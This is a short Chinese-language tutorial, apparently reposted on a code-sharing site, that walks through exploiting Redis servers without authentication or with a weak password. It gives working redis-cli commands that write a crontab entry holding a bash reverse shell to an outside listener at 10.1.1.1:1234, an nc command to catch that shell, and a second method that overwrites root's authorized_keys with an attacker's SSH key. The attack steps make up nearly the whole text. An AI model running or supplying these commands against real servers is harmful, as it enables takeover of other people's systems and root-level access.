redis弱密碼漏洞利用


背景:

redis無認證,或者弱密碼,可以成功連接到redis服務器

反彈shell拿到的權限取決於redis的啟動賬號

操作:

1. Centos7安裝redis客戶端

#yum install redis      --查看是否有redis   yum 源
#yum install epel-release    --下載fedora的epel倉庫
# yum install redis    -- 安裝redis數據庫

【漏洞利用方法1 寫crontab,反彈shell】

2.連接redis服務器,執行命令

#redis-cli -h 10.1.1.2 -a 123456 //如果沒有密碼,不用添加-a參數
10.1.1.2:6379> config set dir /var/spool/cron
OK
10.1.1.2:6379> config set dbfilename root
OK
10.1.1.2:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
10.1.1.2:6379>save
OK

上面的方法是需要先連接到redis服務器,然后再執行命令,也可以直接執行命令,無需連接

#echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -a 123456 -x set 1
#redis-cli -h 192.168.118.129 -a 123456 config set dir /var/spool/cron/
#redis-cli -h 192.168.118.129 -a 123456 config set dbfilename root
#redis-cli -h 192.168.118.129 -a 123456 save  

3.在 10.1.1.1上執行

#nc -l -p 1234 -vv //監聽1234端口

很快就能收到shell

 

【漏洞利用方法2 寫authorized_keys 實現無密碼登錄】

 執行命令如下:

127.0.0.1:6379>flushall
OK

127.0.0.1:6379>config set dir /root/.ssh/
OK

127.0.0.1:6379>config set dbfilename authorized_keys
OK

127.0.0.1:6379>set xxoo "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxna91qSLsy9sbYSZNYMpe0root@localhost.localdomain\n\n"
OK

127.0.0.1:6379>save
OK

然后ssh 連接目標服務器即可

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM